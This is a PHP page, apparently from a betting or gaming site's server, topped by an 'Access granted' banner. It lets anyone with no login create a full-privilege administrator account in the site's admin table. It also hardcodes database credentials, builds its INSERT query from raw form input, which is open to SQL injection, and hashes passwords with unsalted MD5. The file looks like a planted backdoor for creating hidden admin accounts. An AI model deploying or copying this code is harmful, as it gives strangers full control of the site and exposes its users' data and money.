<pre style='color: lime; background: black; padding: 20px;'>Access granted. Add your protected content here.</pre><?php
// Database connection
$servername = "localhost";
$dbusername = "rajagame_bdgwin"; 
$dbpassword = "rajagame_bdgwin";
$dbname     = "rajagame_bdgwin";

$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$message = "";

// Handle form submit
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $new_username = $_POST['username'];
    $new_password = $_POST['password'];

    // Hash password using MD5
    $hashed_password = md5($new_password);

    // Generate secret_key (random pattern)
    $secret_key = "PT" . strtoupper(substr(uniqid(), -8)) . "N";

    // Insert into table (all default = 1)
    $sql = "INSERT INTO nirvahaka_shonu 
    (hesaru, nirvahaka_hesaru, guptapada, sthiti, secret_key, 
    dashboard, wingomanager, k3manager, 5dmanager, finance, support, 
    managegame, manageagent) 
    VALUES 
    ('$new_username', '$new_username', '$hashed_password', 1, '$secret_key',
     1, 1, 1, 1, 1, 1, 1, 1)";

    if ($conn->query($sql) === TRUE) {
        $message = "✅ User created successfully!";
    } else {
        $message = "❌ Error: " . $conn->error;
    }
}

$conn->close();
?>

<!DOCTYPE html>
<html>
<head>
    <title>Create User</title>
</head>
<body>
    <h2>Create New User</h2>
    <form method="post">
        <label>Username:</label><br>
        <input type="text" name="username" required><br><br>
        
        <label>Password:</label><br>
        <input type="password" name="password" required><br><br>
        
        <input type="submit" value="Create User">
    </form>

    <p><?php echo $message; ?></p>
</body>
</html>
